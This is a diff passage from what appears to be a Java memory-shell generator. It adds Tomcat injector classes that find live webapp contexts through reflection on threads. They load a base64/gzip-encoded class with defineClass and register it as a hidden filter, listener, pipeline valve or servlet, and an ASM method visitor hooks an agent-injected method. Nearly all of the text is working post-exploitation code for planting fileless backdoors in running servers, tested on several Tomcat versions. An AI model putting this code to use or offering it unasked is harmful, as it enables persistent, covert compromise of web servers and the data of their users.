+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Throwable e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

@@ -0,0 +1,218 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Date: 2022/11/01
+ * Author: pen4uin
+ * Description: Tomcat Filter 注入器 Tested version： jdk v1.8.0_275
+ * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
+ *
+ * @author ReaJason
+ */
+public class TomcatFilterInjector {
+
+    static {
+        new TomcatFilterInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public TomcatFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object shell = getShell(context);
+                inject(context, shell);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    /**
+     * org.apache.catalina.core.StandardContext
+     * /usr/local/tomcat/server/lib/catalina.jar
+     */
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (thread.getContextClassLoader() != null
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader webAppClassLoader = getWebAppClassLoader(context);
+        try {
+            return webAppClassLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object shell) throws Exception {
+        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            System.out.println("filter already injected");
+            return;
+        }
+        Object filterDef;
+        Object filterMap;
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        try {
+            // tomcat v8+
+            filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
+            filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
+        } catch (Exception e2) {
+            // tomcat v5+
+            filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
+            filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
+        }
+
+        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
+        try {
+            invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
+        } catch (Exception e) {
+            invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()});
+        }
+        invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
+        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
+        Constructor<?>[] constructors;
+        try {
+            invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        } catch (Exception e) {
+            // tomcat v5
+            invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        }
+        try {
+            // v7.0.0 以上
+            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        } catch (Exception e) {
+            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        }
+
+        Constructor filterConfigConstructor;
+        filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
+        filterConfigConstructor.setAccessible(true);
+        Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
+        Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
+        filterConfigs.put(getClassName(), filterConfig);
+        System.out.println("filter inject success");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

@@ -0,0 +1,207 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Tomcat Listener 注入器
+ * 测试版本：
+ * jdk    v1.8.0_275
+ * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
+ *
+ * @author pen4uin, ReaJason
+ */
+public class TomcatListenerInjector {
+
+    static {
+        new TomcatListenerInjector();
+    }
+
+    public TomcatListenerInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (thread.getContextClassLoader() != null
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader webAppClassLoader = getWebAppClassLoader(context);
+        try {
+            return webAppClassLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object listener) throws Exception {
+        Object objects = invokeMethod(context, "getApplicationEventListeners", null, null);
+        if (objects instanceof List) {
+            List<Object> listeners = (List<Object>) objects;
+            for (Object o : listeners) {
+                if (o.getClass().getName().equals(getClassName())) {
+                    System.out.println("listener already injected");
+                    return;
+                }
+            }
+            listeners.add(listener);
+            System.out.println("listener inject successful");
+        } else {
+            ArrayList arrayList = new ArrayList(Arrays.asList(objects));
+            for (Object o : arrayList) {
+                if (o.getClass().getName().equals(getClassName())) {
+                    System.out.println("listener already injected");
+                    return;
+                }
+            }
+            arrayList.add(listener);
+            invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()});
+            System.out.println("listener inject successful");
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

@@ -0,0 +1,215 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class TomcatProxyValveInjector implements InvocationHandler {
+
+    private Object rawValve;
+    private Object proxyValve;
+
+    static {
+        new TomcatProxyValveInjector();
+    }
+
+    public TomcatProxyValveInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object valve = getShell(context);
+                inject(context, valve);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
+        this.rawValve = rawValve;
+        this.proxyValve = proxyValve;
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    @Override
+    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+        if ("invoke".equals(method.getName())) {
+            try {
+                Object request = args[0];
+                Object response = args[1];
+                if (proxyValve.equals(new Object[]{request, response})) {
+                    return null;
+                }
+            } catch (Throwable e) {
+                e.printStackTrace();
+                return method.invoke(rawValve, args);
+            }
+        }
+        return method.invoke(rawValve, args);
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (thread.getContextClassLoader() != null
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object valve) throws Exception {
+        Object pipeline = invokeMethod(context, "getPipeline", null, null);
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
+        Object rawValve = null;
+        String fieldName = "first";
+        try {
+            rawValve = getFieldValue(pipeline, fieldName);
+        } catch (NoSuchFieldException e) {
+            fieldName = "basic";
+            rawValve = getFieldValue(pipeline, fieldName);
+        }
+        Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
+        setFieldValue(pipeline, fieldName, proxyValve);
+        System.out.println("proxyValve inject successful");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    public static Field getField(Object obj, String name) throws NoSuchFieldException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+    @SuppressWarnings("all")
+    public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
+        Field field = getField(obj, name);
+        field.set(obj, value);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        Field field = getField(obj, name);
+        return field.get(obj);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

@@ -0,0 +1,255 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/15
+ */
+public class TomcatServletInjector {
+    static {
+        new TomcatServletInjector();
+    }
+
+    public TomcatServletInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object servlet = getShell(context);
+                inject(context, servlet);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (thread.getContextClassLoader() != null
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader webAppClassLoader = getWebAppClassLoader(context);
+        try {
+            return webAppClassLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object servlet) throws Exception {
+        if (isInjected(context)) {
+            System.out.println("servlet already injected");
+            return;
+        }
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        Class<?> containerClass = contextClassLoader.loadClass("org.apache.catalina.Container");
+
+        Object wrapper = invokeMethod(context, "createWrapper", null, null);
+        invokeMethod(wrapper, "setName", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(wrapper, "setLoadOnStartup", new Class[]{Integer.TYPE}, new Object[]{1});
+        setFieldValue(wrapper, "instance", servlet);
+        invokeMethod(wrapper, "setServletClass", new Class[]{String.class}, new Object[]{this.getClassName()});
+        invokeMethod(context, "addChild", new Class[]{containerClass}, new Object[]{wrapper});
+
+        try {
+            invokeMethod(context, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), getClassName()});
+        } catch (Exception var11) {
+            invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
+        }
+        support56Inject(context, wrapper);
+        System.out.println("servlet inject success");
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object context) throws Exception {
+        Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings");
+        Collection<String> values = servletMappings.values();
+        for (String name : values) {
+            if (name.equals(getClassName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private void support56Inject(Object context, Object wrapper) throws Exception {
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        Class<?> serverInfo = contextClassLoader.loadClass("org.apache.catalina.util.ServerInfo");
+        String number = (String) invokeMethod(serverInfo, "getServerNumber", null, null);
+        if (!number.startsWith("5") && !number.startsWith("6")) {
+            return;
+        }
+        Object connectors = getFieldValue(getFieldValue(getFieldValue(getFieldValue(context, "parent"), "parent"), "service"), "connectors");
+        int connectorsLength = Array.getLength(connectors);
+        for (int i = 0; i < connectorsLength; ++i) {
+            Object connector = Array.get(connectors, i);
+            String protocolHandlerClassName = (String) getFieldValue(connector, "protocolHandlerClassName");
+            if (!protocolHandlerClassName.contains("Http")) {
+                continue;
+            }
+            Object contexts = getFieldValue(getFieldValue(Array.get(getFieldValue(getFieldValue(connector, "mapper"), "hosts"), 0), "contextList"), "contexts");
+            int contextsLength = Array.getLength(contexts);
+            for (int j = 0; j < contextsLength; ++j) {
+                Object o = Array.get(contexts, j);
+                if (getFieldValue(o, "object") != context) {
+                    continue;
+                }
+                Class<?> mapperClazz = contextClassLoader.loadClass("org.apache.tomcat.util.http.mapper.Mapper");
+                Class<?> wrapperClazz = contextClassLoader.loadClass("org.apache.tomcat.util.http.mapper.Mapper$Wrapper");
+                Constructor<?> declaredConstructor = wrapperClazz.getDeclaredConstructors()[0];
+                declaredConstructor.setAccessible(true);
+                Object newWrapper = declaredConstructor.newInstance();
+                setFieldValue(newWrapper, "object", wrapper);
+                setFieldValue(newWrapper, "jspWildCard", false);
+                setFieldValue(newWrapper, "name", getUrlPattern());
+
+                Object exactWrappers = getFieldValue(o, "exactWrappers");
+                int length = Array.getLength(exactWrappers);
+                Object newWrappers = Array.newInstance(wrapperClazz, length + 1);
+                Class<?> mapElementClass = contextClassLoader.loadClass("org.apache.tomcat.util.http.mapper.Mapper$MapElement");
+                Class<?> mapElementArrayClass = Array.newInstance(mapElementClass, 0).getClass();
